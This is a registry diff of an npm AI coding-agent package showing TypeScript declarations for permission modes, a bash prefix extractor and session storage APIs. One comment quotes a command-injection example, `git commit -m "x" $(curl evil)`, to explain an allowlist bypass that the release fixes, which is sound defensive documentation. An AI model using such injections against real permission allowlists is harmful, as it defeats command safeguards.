@kodax-ai/kodax 0.7.63 → 0.7.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (80) hide show
  1. package/CHANGELOG.md +2300 -2204
  2. package/README.md +79 -7
  3. package/README_CN.md +52 -3
  4. package/dist/chunks/{agent-SL444XLN.js → agent-KER4WDNO.js} +1 -1
  5. package/dist/chunks/argument-completer-HK3MHA3K.js +2 -0
  6. package/dist/chunks/{chunk-ARUWXX25.js → chunk-35P7QL2Q.js} +1 -1
  7. package/dist/chunks/chunk-3HKBBY74.js +339 -0
  8. package/dist/chunks/chunk-AKBH2EEE.js +8 -0
  9. package/dist/chunks/{chunk-KCFVGXVK.js → chunk-ALS32RNZ.js} +1 -1
  10. package/dist/chunks/chunk-MHRN2LQV.js +328 -0
  11. package/dist/chunks/{chunk-HP4FXMEM.js → chunk-NBQW7PNZ.js} +2 -2
  12. package/dist/chunks/{chunk-S4GVQO3W.js → chunk-O7N22GJ3.js} +1 -1
  13. package/dist/chunks/chunk-ONUPGMER.js +2 -0
  14. package/dist/chunks/{chunk-ZL5CEANW.js → chunk-PZTG2C33.js} +1 -1
  15. package/dist/chunks/{chunk-4MIHVNB7.js → chunk-QAQ2HNXD.js} +112 -112
  16. package/dist/chunks/{chunk-6OZ5KWG3.js → chunk-QJJKMNZF.js} +1 -1
  17. package/dist/chunks/chunk-QJVZZSEO.js +56 -0
  18. package/dist/chunks/chunk-TLJGOKBT.js +729 -0
  19. package/dist/chunks/{chunk-7MPU7TP6.js → chunk-VS4CDDEF.js} +243 -243
  20. package/dist/chunks/chunk-WBBEJIAY.js +306 -0
  21. package/dist/chunks/{chunk-L3MF5V64.js → chunk-WMIZCY2J.js} +1 -1
  22. package/dist/chunks/{chunk-UA744TZM.js → chunk-YRBNXFHY.js} +1 -1
  23. package/dist/chunks/compaction-config-7GMUFNPB.js +2 -0
  24. package/dist/chunks/{construction-bootstrap-EFZBONTK.js → construction-bootstrap-3XDS2D5K.js} +1 -1
  25. package/dist/chunks/{devtools-4CRULTR2.js → devtools-CD6KSIHE.js} +1 -1
  26. package/dist/chunks/{devtools-YINBSZC7.js → devtools-XR5F2C6T.js} +1 -1
  27. package/dist/chunks/{dist-73L4OYPD.js → dist-4PXB7U22.js} +1 -1
  28. package/dist/chunks/dist-4YAYT2TO.js +2 -0
  29. package/dist/chunks/host-KG3456QP.js +2 -0
  30. package/dist/chunks/{paste-FDYM7SZX.js → paste-C33GZQV5.js} +1 -1
  31. package/dist/chunks/run-manager-6CAH3KTA.js +2 -0
  32. package/dist/chunks/utils-OT5ENFUL.js +2 -0
  33. package/dist/constructed-handler-worker.js +2 -0
  34. package/dist/index.d.ts +21 -10
  35. package/dist/index.js +6 -6
  36. package/dist/kodax_cli.js +1116 -1089
  37. package/dist/runtime-worker.js +2843 -0
  38. package/dist/sdk-agent.d.ts +27 -8
  39. package/dist/sdk-agent.js +1 -1
  40. package/dist/sdk-coding.d.ts +76 -1020
  41. package/dist/sdk-coding.js +1 -1
  42. package/dist/sdk-llm.js +1 -1
  43. package/dist/sdk-mcp.d.ts +2 -1
  44. package/dist/sdk-mcp.js +1 -1
  45. package/dist/sdk-media.js +1 -1
  46. package/dist/sdk-repl.d.ts +197 -183
  47. package/dist/sdk-repl.js +2 -2
  48. package/dist/sdk-runtime.d.ts +982 -0
  49. package/dist/sdk-runtime.js +2 -0
  50. package/dist/sdk-session.d.ts +3 -3
  51. package/dist/sdk-session.js +1 -1
  52. package/dist/sdk-skills.js +1 -1
  53. package/dist/semantic-worker.js +191 -10
  54. package/dist/types-chunks/{bash-prefix-extractor.d-CZW9fRoa.d.ts → bash-prefix-extractor.d-BjkITAva.d.ts} +142 -3
  55. package/dist/types-chunks/{run-manager.d-CYTnWhZY.d.ts → capsule.d-hVhPNkHd.d.ts} +5 -92
  56. package/dist/types-chunks/commands.d-C3B1TdGM.d.ts +213 -0
  57. package/dist/types-chunks/{types.d-1CnTg7Sd.d.ts → guardrail.d-C_Siraua.d.ts} +3 -128
  58. package/dist/types-chunks/{guardrail.d-MR6LwMB2.d.ts → guardrail.d-wk-s0psS.d.ts} +2 -2
  59. package/dist/types-chunks/{manager.d-DBD7SOTT.d.ts → manager.d-Zum9cGHU.d.ts} +3 -173
  60. package/dist/types-chunks/oauth-login.d-Bgb4rdLN.d.ts +174 -0
  61. package/dist/types-chunks/public-api.d-jtREVfEq.d.ts +596 -0
  62. package/dist/types-chunks/run-manager.d-CFknOfo1.d.ts +91 -0
  63. package/dist/types-chunks/{sdk-session-RBSBBKol.d.ts → sdk-session-CLqyfAmf.d.ts} +8 -306
  64. package/dist/types-chunks/types.d-BMLxKV69.d.ts +128 -0
  65. package/dist/types-chunks/types.d-CUN_bZU7.d.ts +975 -0
  66. package/dist/types-chunks/{utils.d-C14jZ9ZM.d.ts → utils.d-C1rpoeDh.d.ts} +84 -72
  67. package/package.json +7 -1
  68. package/dist/chunks/argument-completer-EN63ZVJK.js +0 -2
  69. package/dist/chunks/chunk-KHICMJIR.js +0 -310
  70. package/dist/chunks/chunk-LGR7ACBQ.js +0 -326
  71. package/dist/chunks/chunk-RR7W7UF6.js +0 -341
  72. package/dist/chunks/chunk-UGTK2JIJ.js +0 -731
  73. package/dist/chunks/chunk-V4WSBIXB.js +0 -2
  74. package/dist/chunks/chunk-VSWROENP.js +0 -52
  75. package/dist/chunks/compaction-config-4VIONMFB.js +0 -2
  76. package/dist/chunks/dist-EDF2YUF6.js +0 -2
  77. package/dist/chunks/host-J4HPDLFC.js +0 -2
  78. package/dist/chunks/run-manager-ZVSW2OWM.js +0 -2
  79. package/dist/chunks/utils-5HDLYTZJ.js +0 -2
  80. package/dist/types-chunks/storage.d-C6kkAEch.d.ts +0 -280
@@ -0,0 +1,596 @@
1
+ import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-BjkITAva.js';
2
+ import { aa as KodaXSessionData, af as KodaXSessionLineage, ai as KodaXSessionNavigationOptions, ak as KodaXSessionRuntimeInfo, am as KodaXSessionStorage, a4 as KodaXJsonValue } from './process.d-CY2g03Mb.js';
3
+ import { j as KodaXMessage, R as KodaXTaskResultMetadata } from './types.d-Bp4Lm1jv.js';
4
+
5
+ /**
6
+ * Permission Types
7
+ */
8
+
9
+ /**
10
+ * Permission mode
11
+ * - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
12
+ * - accept-edits: File edits auto-approved, shell commands require confirmation
13
+ * - auto: All tools auto-approved (with optional LLM classifier review when
14
+ * auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
15
+ * falls back to the legacy "all tools approved within project, outside
16
+ * requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
17
+ * shape. The `auto-in-project` name is preserved as a deprecated alias
18
+ * for 5 minor versions (removed in v0.7.38).
19
+ */
20
+ type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
21
+ declare const PERMISSION_MODES: PermissionMode[];
22
+ /**
23
+ * Status-bar display name for a permission mode. Title-Case short labels
24
+ * (mirrors Claude Code's `shortTitle` convention in
25
+ * `src/utils/permissions/PermissionMode.ts`):
26
+ * - `plan` → `Plan`
27
+ * - `accept-edits` → `Edits`
28
+ * - `auto` → `Auto`
29
+ * - `auto-in-project` → `Auto` (deprecated alias folds into the canonical
30
+ * display name; the deprecation notice
31
+ * surfaces once per session at startup)
32
+ *
33
+ * Single source of truth — both the readline status-bar
34
+ * (`packages/repl/src/interactive/status-bar.ts`) and the Ink view-model
35
+ * (`packages/repl/src/ui/view-models/status-bar.ts`) consume this so the two
36
+ * surfaces never drift on capitalization or short-form choice.
37
+ */
38
+ declare function permissionModeDisplayName(mode: PermissionMode): string;
39
+ interface ConfirmResult {
40
+ confirmed: boolean;
41
+ always?: boolean;
42
+ }
43
+ /**
44
+ * Tools that mutate the local filesystem AND accept a `path` input.
45
+ * Eligible for plan-mode's path-aware escape (writes to
46
+ * `.agent/plan_mode_doc.md` or the system temp dir are permitted; all
47
+ * other paths block).
48
+ *
49
+ * Derived from metadata: `sideEffect === 'mutates-fs'` AND
50
+ * `requiredParams.includes('path')`. Tools that mutate the FS without a
51
+ * `path` input (`undo`, `worktree_*`, construction-staircase tools) are
52
+ * NOT in this set — their plan-mode block reason is computed elsewhere
53
+ * via `isToolPlanModeAllowed()` instead of a path check.
54
+ */
55
+ declare const FILE_MODIFICATION_TOOLS: Set<string>;
56
+ interface PermissionContext {
57
+ permissionMode: PermissionMode;
58
+ confirmTools: Set<string>;
59
+ gitRoot?: string;
60
+ alwaysAllowTools: string[];
61
+ onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
62
+ saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
63
+ switchPermissionMode?: (mode: PermissionMode) => void;
64
+ beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
65
+ /**
66
+ * FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
67
+ * When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
68
+ * a bash command before matching against allowlist patterns like
69
+ * `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
70
+ * where `git commit -m "x" $(curl evil)` matched the allowlist via naive
71
+ * `command.startsWith` semantics.
72
+ *
73
+ * KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
74
+ * `@kodax-ai/coding` and threads it here. SDK consumers / tests without
75
+ * LLM access can omit it; legacy startsWith semantics apply (documented
76
+ * as insecure in `matchesBashPatternLegacy`).
77
+ */
78
+ bashPrefixExtractor?: BashPrefixExtractor;
79
+ }
80
+ /**
81
+ * Compute the base confirmation set for each permission mode.
82
+ *
83
+ * Note: `plan` still lists the standard mutating tools here even though most of
84
+ * them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
85
+ * This helper only describes the remaining confirmation step for calls that are
86
+ * not hard-blocked.
87
+ */
88
+ declare function computeConfirmTools(mode: PermissionMode): Set<string>;
89
+ declare function isPermissionMode(value: string | undefined): value is PermissionMode;
90
+ declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;
91
+
92
+ /**
93
+ * Session Storage - Session storage abstraction layer
94
+ *
95
+ * Provides a shared persistence interface across memory and filesystem storage.
96
+ */
97
+
98
+ /**
99
+ * Session data structure.
100
+ */
101
+ type SessionData = KodaXSessionData;
102
+ /**
103
+ * Session storage interface.
104
+ */
105
+ interface SessionStorage {
106
+ save(id: string, data: SessionData): Promise<void>;
107
+ load(id: string): Promise<SessionData | null>;
108
+ getLineage?(id: string): Promise<KodaXSessionLineage | null>;
109
+ setActiveEntry?(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
110
+ setLabel?(id: string, selector: string, label?: string): Promise<SessionData | null>;
111
+ rewind?(id: string, selector?: string): Promise<SessionData | null>;
112
+ fork?(id: string, selector?: string, options?: {
113
+ sessionId?: string;
114
+ title?: string;
115
+ }): Promise<{
116
+ sessionId: string;
117
+ data: SessionData;
118
+ } | null>;
119
+ list(gitRoot?: string): Promise<Array<{
120
+ id: string;
121
+ title: string;
122
+ msgCount: number;
123
+ tag?: string;
124
+ runtimeInfo?: KodaXSessionRuntimeInfo;
125
+ }>>;
126
+ delete?(id: string): Promise<void>;
127
+ deleteAll?(gitRoot?: string): Promise<void>;
128
+ }
129
+ /**
130
+ * In-memory session storage implementation.
131
+ */
132
+ declare class MemorySessionStorage implements SessionStorage {
133
+ private sessions;
134
+ save(id: string, data: SessionData): Promise<void>;
135
+ load(id: string): Promise<SessionData | null>;
136
+ getLineage(id: string): Promise<KodaXSessionLineage | null>;
137
+ setActiveEntry(id: string, selector: string, options?: KodaXSessionNavigationOptions): Promise<SessionData | null>;
138
+ setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
139
+ fork(id: string, selector?: string, options?: {
140
+ sessionId?: string;
141
+ title?: string;
142
+ }): Promise<{
143
+ sessionId: string;
144
+ data: SessionData;
145
+ } | null>;
146
+ rewind(id: string, selector?: string): Promise<SessionData | null>;
147
+ list(_gitRoot?: string): Promise<Array<{
148
+ id: string;
149
+ title: string;
150
+ msgCount: number;
151
+ tag?: string;
152
+ }>>;
153
+ delete(id: string): Promise<void>;
154
+ deleteAll(_gitRoot?: string): Promise<void>;
155
+ }
156
+ declare function createMemorySessionStorage(): SessionStorage;
157
+
158
+ /**
159
+ * KodaX session storage - filesystem implementation.
160
+ */
161
+
162
+ declare class FileSessionStorage implements KodaXSessionStorage {
163
+ private readonly sessionsDir;
164
+ /**
165
+ * v0.7.46 — optional explicit project cwd for in-process embedders
166
+ * (KodaX Space) serving multiple projects from a single runtime.
167
+ * Threaded through `getGitRoot(this.hostCwd)` and `inspectWorkspaceRuntime({cwd: this.hostCwd})`
168
+ * so the workspace-mismatch check in `load()` compares against the
169
+ * project the embedder opened, NOT the embedder's startup directory.
170
+ * Unset → all paths behave identically to the pre-v0.7.46 form.
171
+ */
172
+ private readonly hostCwd?;
173
+ /**
174
+ * v0.7.46 F7 — explicit opt-in for the CLI-style "[Warning] Session
175
+ * project mismatch" stderr notice emitted from `load()`. Pre-v0.7.46
176
+ * the gate was `!this.hostCwd` which fired whenever the embedder
177
+ * hadn't supplied a cwd — but that ALSO matched SDK consumers who
178
+ * don't set cwd (e.g. KodaX Space), bleeding the yellow warning into
179
+ * their stdout/stderr UI channels on every cross-project load. The
180
+ * v0.7.46 default is `false` — silent. CLI surfaces that want the
181
+ * old behavior (warn when user resumes a session from outside its
182
+ * original project) can pass `emitMismatchWarnings: true`.
183
+ */
184
+ private readonly emitMismatchWarnings;
185
+ constructor(opts?: {
186
+ sessionsDir?: string;
187
+ cwd?: string;
188
+ emitMismatchWarnings?: boolean;
189
+ });
190
+ /** Absolute session root used by this storage instance. */
191
+ getSessionsDir(): string;
192
+ private writeQueues;
193
+ private serializedWrite;
194
+ private appendState;
195
+ private sessionDirCache;
196
+ private projectJsonWritten;
197
+ private migrationPromise?;
198
+ private ensureMigrated;
199
+ /** Update watermarks. Only overwrites fields the caller actually provided. */
200
+ private syncAppendState;
201
+ private legacyFlatPath;
202
+ private legacyFlatArchivePath;
203
+ private projectDir;
204
+ /** Resolve (and cache) the project directory a write for `id` should land in. */
205
+ private resolveWriteDir;
206
+ private writeFilePath;
207
+ /**
208
+ * id-only locator (ADR-038 §7). Resolution order:
209
+ * 1. cached project dir for this id
210
+ * 2. bounded scan of project dirs: <key>/<id>.jsonl
211
+ * 3. bounded scan of archived: <key>/archived/<id>.jsonl
212
+ * 4. legacy flat: <sessionsDir>/<id>.jsonl
213
+ * On multiple matches (only possible for pre-FEATURE_219 same-second
214
+ * duplicate ids) it prefers the current process's project dir, else
215
+ * returns null with a warning rather than guessing.
216
+ */
217
+ private resolveSessionLocation;
218
+ private readSession;
219
+ /** Write `<dir>/project.json` once per process per directory (best-effort). */
220
+ private ensureProjectJson;
221
+ private writeSessionInternal;
222
+ private mergeAndWriteInternal;
223
+ appendSessionDelta(id: string, data: SessionData): Promise<void>;
224
+ private shouldRunMaintenance;
225
+ private runMaintenance;
226
+ save(id: string, data: SessionData): Promise<void>;
227
+ load(id: string): Promise<SessionData | null>;
228
+ getLineage(id: string): Promise<KodaXSessionLineage | null>;
229
+ setActiveEntry(id: string, selector: string, options?: {
230
+ summarizeCurrentBranch?: boolean;
231
+ }): Promise<SessionData | null>;
232
+ rewind(id: string, selector?: string): Promise<SessionData | null>;
233
+ setLabel(id: string, selector: string, label?: string): Promise<SessionData | null>;
234
+ fork(id: string, selector?: string, options?: {
235
+ sessionId?: string;
236
+ title?: string;
237
+ }): Promise<{
238
+ sessionId: string;
239
+ data: SessionData;
240
+ } | null>;
241
+ /**
242
+ * v0.7.46 — `opts.limit` added so SDK consumers can request more than
243
+ * the legacy 10-entry cap. Default stays at 10 to preserve the
244
+ * interactive REPL picker's behavior. The `public-api.ts` fast path
245
+ * forwards the caller's `limit`; `deleteAll()` passes a large value
246
+ * so it can enumerate ALL sessions for the gitRoot.
247
+ *
248
+ * v0.7.46 — return now carries `createdAt` so the fast path in
249
+ * `public-api.ts` no longer silently strips it. Pre-v0.7.46 callers
250
+ * that only destructured `{id, title, msgCount, runtimeInfo}` are
251
+ * unaffected (extra fields are ignored).
252
+ */
253
+ list(gitRoot?: string, opts?: {
254
+ limit?: number;
255
+ includeArchived?: boolean;
256
+ }): Promise<Array<{
257
+ id: string;
258
+ title: string;
259
+ msgCount: number;
260
+ tag?: string;
261
+ runtimeInfo?: KodaXSessionRuntimeInfo;
262
+ archived?: boolean;
263
+ createdAt?: string;
264
+ }>>;
265
+ /**
266
+ * FEATURE_219 Phase 4 — whole-session archive (ADR-038 §4). Moves the session
267
+ * file together with its island sidecar into `<projectKey>/archived/`. Paired
268
+ * (never orphans the sidecar). No-op + returns false for a missing session.
269
+ */
270
+ archive(id: string): Promise<boolean>;
271
+ /** Restore an archived session back into its project directory. */
272
+ unarchive(id: string): Promise<boolean>;
273
+ /**
274
+ * Move a session + its island sidecar between two directories. Propagates a
275
+ * non-ENOENT rename error (e.g. Windows file-in-use) so a partial move is
276
+ * surfaced as a failure instead of silently splitting main + sidecar.
277
+ */
278
+ private movePair;
279
+ delete(id: string): Promise<void>;
280
+ deleteAll(gitRoot?: string): Promise<void>;
281
+ /**
282
+ * Auto-retention: delete session files (`.jsonl` + `.archive.jsonl`) whose
283
+ * mtime is older than `retentionDays`. Modeled on claudecode's
284
+ * `cleanup.ts` (`unlinkIfOld`). Bounds the sessions directory so it never
285
+ * accumulates unboundedly — which is what keeps `list()`'s head-read pass
286
+ * fast (its cost scales with file COUNT, not size). A non-positive /
287
+ * non-finite `retentionDays` disables cleanup (no-op). Best-effort: per-file
288
+ * errors are swallowed so a single locked/racing file never aborts the
289
+ * sweep. Returns the number of files removed. mtime-based, so the session
290
+ * currently being written/resumed (fresh mtime) is never eligible.
291
+ */
292
+ cleanupOldSessions(retentionDays: number): Promise<number>;
293
+ }
294
+
295
+ /**
296
+ * FEATURE_247 (R6) — imperative session compaction.
297
+ *
298
+ * Lets an SDK embedder (KodaX-Space) compact a session by id immediately —
299
+ * e.g. when the user clicks a "/compact" button — instead of forging a token
300
+ * snapshot or appending an empty message to trip auto-compaction. Loads the
301
+ * session, runs the same `compact()` pass the REPL `/compact` command uses,
302
+ * applies the result to the session lineage (so `loadFullTranscript` / resume
303
+ * see the compaction entry), and writes it back.
304
+ *
305
+ * Applies uniformly to Partner and Coder sessions. Never throws — failures
306
+ * return `{ compacted: false, reason }`.
307
+ */
308
+
309
+ interface CompactSessionOptions {
310
+ /** Provider alias for the summarizer. Defaults to the session's persisted provider, then 'anthropic'. */
311
+ readonly provider?: string;
312
+ /** Model override forwarded to the summarizer. */
313
+ readonly model?: string;
314
+ /** Custom summarizer instructions (same as `/compact <text>`). */
315
+ readonly customInstructions?: string;
316
+ /** Provider context-window override (tokens). Otherwise resolved from the provider/model. */
317
+ readonly contextWindow?: number;
318
+ /** Sessions directory (mirrors createSessionManager's override). */
319
+ readonly sessionsDir?: string;
320
+ /** Injected storage instance (takes precedence over sessionsDir). */
321
+ readonly storage?: FileSessionStorage;
322
+ }
323
+ interface CompactSessionResult {
324
+ /** True when the session was actually rewritten. */
325
+ readonly compacted: boolean;
326
+ readonly tokensBefore: number;
327
+ readonly tokensAfter: number;
328
+ /** The rewritten (or unchanged) message list. */
329
+ readonly messages: KodaXMessage[];
330
+ /** Populated when `compacted` is false to explain why (not-found / no-op / error). */
331
+ readonly reason?: string;
332
+ }
333
+ /**
334
+ * Compact a session by id, writing the result (lineage + messages) back to
335
+ * storage. Never throws.
336
+ */
337
+ declare function compactSession(sessionId: string, options?: CompactSessionOptions): Promise<CompactSessionResult>;
338
+
339
+ /**
340
+ * FEATURE_173 Part B (v0.7.42) — Session Management Public SDK.
341
+ *
342
+ * Thin facades over FileSessionStorage + discoverInstances. All methods
343
+ * NEVER throw — missing sessions return null, blocked operations return
344
+ * an error envelope, missing directories return empty arrays / no-op
345
+ * watchers.
346
+ *
347
+ * The `@kodax-ai/kodax/session` SDK subpath re-exports this module.
348
+ */
349
+
350
+ interface SessionSummary {
351
+ readonly id: string;
352
+ readonly title: string;
353
+ readonly msgCount: number;
354
+ readonly tag?: string;
355
+ readonly createdAt?: string;
356
+ readonly runtimeInfo?: {
357
+ workspaceRoot?: string;
358
+ gitRoot?: string;
359
+ surface?: string;
360
+ profileId?: string;
361
+ };
362
+ /**
363
+ * FEATURE_219 (v0.7.46) — the per-project directory key this session lives
364
+ * under (ADR-038 §7). A backward-compatible hint: consumers may pass it back
365
+ * for precise disambiguation, but `loadSession(id)` works without it.
366
+ */
367
+ readonly projectKey?: string;
368
+ /** FEATURE_219 — true when the session is whole-session archived (only ever
369
+ * surfaced when `includeArchived` is set). */
370
+ readonly archived?: boolean;
371
+ }
372
+ type SessionTranscriptEntryType = 'message' | 'compaction' | 'branch_summary'
373
+ /** Rewind audit marker; not included in `FullTranscriptSessionData.messages`. */
374
+ | 'rewind_marker' | 'client_notice'
375
+ /**
376
+ * Synthetic task/workflow completion entry derived from `_taskResult`,
377
+ * `_taskResults`, or legacy `<task-completed>` banners. The original
378
+ * `KodaXMessage` is still exposed on `message`, but consumers that want a
379
+ * complete transcript should not filter only `type === 'message'`.
380
+ */
381
+ | 'task_result';
382
+ type SessionTranscriptEntrySource = 'user' | 'assistant' | 'workflow' | 'child_task' | 'system' | 'client';
383
+ interface SessionTranscriptEntry {
384
+ readonly entryId: string;
385
+ readonly parentId: string | null;
386
+ /** Stable logical identity shared by cloned/forked copies of the same entry. */
387
+ readonly logicalId: string;
388
+ /** Root source physical entry id when this transcript entry was cloned/forked. */
389
+ readonly sourceEntryId?: string;
390
+ readonly timestamp: string;
391
+ readonly type: SessionTranscriptEntryType;
392
+ readonly source?: SessionTranscriptEntrySource;
393
+ readonly turnId?: string;
394
+ readonly message: KodaXMessage;
395
+ readonly active: boolean;
396
+ readonly summary?: string;
397
+ readonly payload?: unknown;
398
+ readonly taskResults?: readonly KodaXTaskResultMetadata[];
399
+ }
400
+ interface FullTranscriptSessionData extends Omit<SessionData, 'messages'> {
401
+ readonly messages: KodaXMessage[];
402
+ readonly activeMessages: KodaXMessage[];
403
+ readonly transcriptEntries: SessionTranscriptEntry[];
404
+ }
405
+ interface AppendClientNoticeOptions {
406
+ readonly source?: string;
407
+ readonly content: string;
408
+ readonly timestamp?: string;
409
+ readonly turnId?: string;
410
+ readonly payload?: KodaXJsonValue;
411
+ }
412
+ interface ListSessionsOptions {
413
+ /**
414
+ * Alias for gitRoot; backwards-compat with KodaX Space terminology.
415
+ * When provided, list() is scoped to sessions from this project root.
416
+ */
417
+ readonly projectRoot?: string;
418
+ /**
419
+ * Which session scopes to include.
420
+ * - 'user' (default): only user-initiated sessions.
421
+ * - 'managed-task-worker': only managed-task worker sessions.
422
+ * - 'all': no scope filter.
423
+ */
424
+ readonly scope?: 'user' | 'managed-task-worker' | 'all';
425
+ /**
426
+ * Whether to include whole-session-archived sessions. FEATURE_219 (v0.7.46):
427
+ * archived sessions live in `<projectKey>/archived/` (see `archiveSession`);
428
+ * also still hides the legacy `archived-` filename prefix. Default false.
429
+ */
430
+ readonly includeArchived?: boolean;
431
+ /** Maximum number of sessions to return. Default 50. */
432
+ readonly limit?: number;
433
+ /**
434
+ * ISO date string — return only sessions whose createdAt is before this
435
+ * timestamp. Applied after list + scope filtering.
436
+ */
437
+ readonly before?: string;
438
+ /** Exact match. Omitted means no tag filter. */
439
+ readonly tag?: string;
440
+ }
441
+ type WatchSessionsCallback = (event: {
442
+ kind: 'change' | 'add' | 'remove';
443
+ sessionId: string;
444
+ }) => void;
445
+ interface SessionManager {
446
+ listSessions: typeof listSessions;
447
+ loadSession: typeof loadSession;
448
+ loadFullTranscript: typeof loadFullTranscript;
449
+ appendClientNotice: typeof appendClientNotice;
450
+ forkSession: typeof forkSession;
451
+ rewindSession: typeof rewindSession;
452
+ setActiveEntry: typeof setActiveEntry;
453
+ deleteSession: typeof deleteSession;
454
+ archiveSession: typeof archiveSession;
455
+ unarchiveSession: typeof unarchiveSession;
456
+ listRunningSessions: typeof listRunningSessions;
457
+ watchSessions: typeof watchSessions;
458
+ /** FEATURE_247 (R6) — imperatively compact a session by id (writes lineage + emits nothing; returns stats). */
459
+ compactSession: typeof compactSession;
460
+ /**
461
+ * v0.7.43 — the raw write-side storage instance. SDK embedders pass
462
+ * this into `runKodaX({ session: { id, scope, storage } })` so the
463
+ * SA / AMA loops write per-turn JSONL snapshots to disk. Without an
464
+ * injected storage, `saveSessionSnapshot` is a silent no-op and the
465
+ * sessions directory stays empty regardless of `session.id`.
466
+ *
467
+ * See {@link FileSessionStorage} for the concrete implementation and
468
+ * `docs/SDK_EMBEDDER_GUIDE.md` §6 for the end-to-end recipe.
469
+ */
470
+ storage: FileSessionStorage;
471
+ }
472
+ /**
473
+ * List sessions, optionally filtered by scope, limit, and date.
474
+ * NEVER throws. Returns [] when the sessions directory is empty or missing.
475
+ */
476
+ declare function listSessions(opts?: ListSessionsOptions): Promise<SessionSummary[]>;
477
+ /**
478
+ * Load full session data by ID.
479
+ * Returns null for a missing session. NEVER throws.
480
+ */
481
+ declare function loadSession(id: string): Promise<SessionData | null>;
482
+ /**
483
+ * Load append-order transcript data by ID.
484
+ *
485
+ * `loadSession` remains the active model-context API. This helper is for UI
486
+ * scrollback: it returns every persisted transcript-bearing lineage entry in
487
+ * append order and keeps the active branch in `activeMessages`.
488
+ */
489
+ declare function loadFullTranscript(id: string): Promise<FullTranscriptSessionData | null>;
490
+ /**
491
+ * Append a host-owned transcript notice that never enters model context.
492
+ *
493
+ * Use this for local slash-command output such as `/doctor`, `/mcp status`,
494
+ * or host-side status panes. It is visible through `loadFullTranscript()` but
495
+ * `loadSession()` keeps returning only the active model messages.
496
+ */
497
+ declare function appendClientNotice(id: string, options: AppendClientNoticeOptions): Promise<SessionTranscriptEntry | null>;
498
+ /**
499
+ * Fork a session at an optional selector.
500
+ * Returns null for a missing session. NEVER throws.
501
+ */
502
+ declare function forkSession(id: string, opts?: {
503
+ selector?: string;
504
+ sessionId?: string;
505
+ title?: string;
506
+ }): Promise<{
507
+ sessionId: string;
508
+ data: SessionData;
509
+ } | null>;
510
+ /**
511
+ * Rewind a session to a previous user entry.
512
+ * Returns null for a missing session. NEVER throws.
513
+ */
514
+ declare function rewindSession(id: string, opts?: {
515
+ selector?: string;
516
+ }): Promise<SessionData | null>;
517
+ /**
518
+ * Set the active lineage entry by selector.
519
+ * Returns null for a missing session. NEVER throws.
520
+ */
521
+ declare function setActiveEntry(id: string, selector: string): Promise<SessionData | null>;
522
+ interface RunningSessionInfo {
523
+ readonly pid: number;
524
+ readonly startedAt: number;
525
+ readonly cwd: string;
526
+ /**
527
+ * v0.7.43 — populated from `PersistedSessionState.sessionId`, published
528
+ * by the REPL after `createInteractiveContext`. Remains `undefined` for
529
+ * a brief window during a peer's bootstrap (before the first sessionId
530
+ * is generated) and for peers running pre-v0.7.43 binaries; consumers
531
+ * MUST handle `undefined`.
532
+ */
533
+ readonly sessionId: string | undefined;
534
+ }
535
+ /**
536
+ * Returns live KodaX sibling instances (excluding this process).
537
+ * Uses discoverInstances() from @kodax-ai/agent (FEATURE_125 Team Mode).
538
+ * NEVER throws. Returns [] when no instances directory exists.
539
+ */
540
+ declare function listRunningSessions(): Promise<RunningSessionInfo[]>;
541
+ type DeleteSessionResult = {
542
+ ok: true;
543
+ } | {
544
+ error: {
545
+ code: 'session_running';
546
+ runningProcess: {
547
+ pid: number;
548
+ startedAt: number;
549
+ };
550
+ };
551
+ };
552
+ /**
553
+ * Delete a session by ID.
554
+ * Returns { ok: true } on success (including when the session doesn't exist).
555
+ * Returns an error envelope when the session is currently running.
556
+ * NEVER throws.
557
+ */
558
+ declare function deleteSession(id: string): Promise<DeleteSessionResult>;
559
+ /**
560
+ * FEATURE_219 (v0.7.46) — whole-session archive. Moves the session (and its
561
+ * island sidecar) into `<projectKey>/archived/`. Returns false for a missing
562
+ * session. NEVER throws. Archived sessions are hidden from the default listing
563
+ * and resurface only with `listSessions({ includeArchived: true })`.
564
+ */
565
+ declare function archiveSession(id: string): Promise<boolean>;
566
+ /** Restore an archived session back into its project directory. NEVER throws. */
567
+ declare function unarchiveSession(id: string): Promise<boolean>;
568
+ /**
569
+ * Watch the sessions directory for changes.
570
+ * Returns { close() } that stops the watcher / poll interval.
571
+ *
572
+ * Platform branches:
573
+ * - POSIX: fs.watch() with 100ms debounce.
574
+ * - Windows: readdir poll every 1000ms, diffed against a snapshot.
575
+ *
576
+ * NEVER throws — if the directory doesn't exist the watcher is a no-op
577
+ * until the directory is created.
578
+ */
579
+ declare function watchSessions(cb: WatchSessionsCallback): {
580
+ close: () => void;
581
+ };
582
+ /**
583
+ * Factory that returns an object with all session management methods bound.
584
+ *
585
+ * v0.7.43 (FEATURE_173 Part B follow-up) — the `sessionsDir` override is
586
+ * now honored. When provided, all read/write/watch operations go through
587
+ * that directory instead of the module-load-frozen `KODAX_SESSIONS_DIR`.
588
+ * `listRunningSessions` still consults the agent-config-home instances
589
+ * directory (sibling-process awareness is not scoped per sessions dir).
590
+ */
591
+ declare function createSessionManager(opts?: {
592
+ sessionsDir?: string;
593
+ }): SessionManager;
594
+
595
